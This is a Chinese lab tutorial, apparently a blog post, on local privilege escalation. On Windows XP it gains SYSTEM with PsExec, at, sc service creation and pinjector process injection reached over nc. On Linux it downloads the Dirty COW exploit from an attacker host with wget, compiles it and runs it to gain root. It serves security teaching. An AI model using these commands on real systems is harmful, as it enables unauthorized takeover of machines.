Kali Linux渗透测试—提权(一)——本地提权

本地提权:
  • 目前系统都是多用户操作系统,可以登录多个账户,实现权限的隔离。针对不同的应用——对应不同的账户——不同的账户在对应不同的权限;
  • 本地提权一般用于已经获取到了本地低权限的账号,希望获取更高的权限,实现对目标的进一步控制;
  • 简单而言,本地提权漏洞就是说一个本来非常低权限、受限制的用户,可以提升到系统至高无上的权限,权限控制是WINDOWS、Linux等系统安全的基石,也是一切安全软件的基石,一旦这道门槛被突破,任何防御措施都是无效的。
Windows系统用户权限划分:
  • system:中文意思是系统,在Windows中拥有比管理员更大的权限,在Windows中主要作为系统服务或进程的运行账户,保证系统服务的正常运行;
  • administrator:中文意思就是“系统管理员”。即所谓的“超级用户”。每台电脑装上系统后,在你自己新建的账户外,会自动新建一个叫administrator 的管理计算机(域)的内置账户,它平时是隐藏的,它是计算机管理员的意思,是拥有计算机管理的最高权限;
  • user:隶属于users组,这个组的用户无法进行有意或无意的改动,因此,用户可以运行经过验证的应用程序,但不可以运行大多数旧版应用程序,users组是最安全的组,因为分配给改组的默认权限不允许成员修改操作系统的设置或用户资料;users可以创建本地组,但只能修改自己创建的本地组。users可以关闭工作站,但不能关闭服务器。
Linux系统用户权限划分:
  • user:普通用户;
  • root:管理员用户,具有系统中的所有权限;

一、Windows系统下进行提权

administrator权限——>system权限

实验环境:

在Windows XP下创建一个管理员(administrator用户)用户:zhangsan

1、查看当前用户信息:(前提:进行提权的用户时administrator权限)
  • 查看当前所有用户;

在这里插入图片描述

  • 查看zhangsan用户的权限,为administrator用户;
2、提权——Psexec

将Psexec.exe程序拖到VMware虚拟机Windows XP中,并点击打开psexec.exe程序。

命令:PsExec -i -s cmd

# 使用Psexec工具打开system权限的cmd窗口,其中:i表示交互式,s代表system;

在这里插入图片描述

3、提权——At

系统调度任务命令:

命令:at 11:25 /interactive cmd
# 以system的权限打开cmd后,此后所有在该cmd打开的应用程序都是具有system权限的;

在这里插入图片描述

运行结果,当时间到达11:36时,系统会以system的权限打开cmd,说明提权成功!!!

注意:如果WindowsXP里面没有whoami命令,可以通过在kali系统中:/usr/share/windows-binaries/目录下的——>whoami.exe文件,拷贝到Windows XP下的C:\WINDOWS\system32目录下。具体步骤可以参考《实现不同主机之间文件的复制——scp命令和wget命令》微博。

4、使所有cmd命令行窗口都是以system权限打开;
  • 首先明白一个定义:程序所拥有的权限,取决与运行该程序的身份;

  • 前面的操作都是在单个的cmd窗口中打开system权限的窗口的,那么如何使在这个桌面上打开的cmd窗口为在system权限运行?

  • 在system权限的窗口中打开任务管理器(即,命令:taskmgr),然后结束桌面进程,创建一个新的桌面进程(explorer.exe),以后在桌面中打开的cmd窗口都是以system权限运行的;

在system权限的cmd下输入taskmgr命令,进入syatem权限的资源管理器,关闭当前explorer.exe的桌面命令;
在这里插入图片描述在使用system权限开启explorer.exe命令的桌面
在这里插入图片描述在这里插入图片描述成功进入system系统;
在这里插入图片描述在这里插入图片描述

5、采用服务的方式提取权限;

采用服务的方式提取权限,这是因为所有的服务都会默认以system帐号去启动,所以借助这个思路去创建一个服务(打开cmd的服务),之后启动这个服务,打开cmd命令行窗口就是以system权限启动的。

通过命令:sc Create syscmd binPath= “cmd /K start” type= own type= interact
#创建一个syscmd服务。注意之间的空格,不能省略;

在这里插入图片描述开启本地服务;
在这里插入图片描述
可以通过图形化的方式直接开启system服务,在通过命令行的方式开启服务;

在这里插入图片描述

6、注入进程提权,隐藏痕迹——Pinjecter
6.1> 查看pinjecter中可选的参数;

命令:pinjector.exe
在这里插入图片描述

6.2> 查看所有进程ID,找到要注入的进程(找到system权限的进程)

命令:pinjector.exe -l

在这里插入图片描述

6.3> 注入正常的进程,实现隐藏,在操作系统中没有增加任何任何新进程;

命令:pinjector.exe -p PID(已存在进程号) cmd 8000

在这里插入图片描述

6.4> 在kali中连接注入进程的端口nc 192.168.37.130 8000;

在这里插入图片描述
取得XP系统的system权限了。

在这里插入图片描述

二、Linux系统下进行提权

实验环境:

前提条件是攻击者已经能够成功登录目标机一个普通账户!!!
Dirty.c(脏牛)的下载地址为:https://github.com/FireFart/dirtycow

攻击机kali的IP地址:192.168.85.170

目标机RedHat的IP地址:192.168.85.131

实验步骤:
攻击机:

1、将dirty.c放在kali攻击机的/var/www/html目录下,模拟上面的dirty.c的下载地址;

在这里插入图片描述
2、开启apache服务;

命令为:/etc/init.d/apache2 start

在这里插入图片描述
3、测试网页是否成功;

在这里插入图片描述

目标机

1、假设已经进入目标机的普通用户:zhangsan。并已经模拟设置攻击机kali的网站上下载dirty.c的脚本;

命令:wget http://192.168.85.170/dirty.c

在这里插入图片描述
2、编译执行脚本输出自己定义的文件里,并生成可执行文件exp;

命令:gcc -pthread dirty.c -o exp -lcrypt
# 对下载的dirty.c文件进行编译,使其生成可执行文件exp

在这里插入图片描述
3、执行自定义脚本文件并为其指定登录密码;

命令:./exp 123.com
# 运行exp文件,并设置密码;

!4、查看passwd文件;

发现已经提权成功;

在这里插入图片描述5、进行验证:使用firefart和自定义的密码,登录;

在这里插入图片描述

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值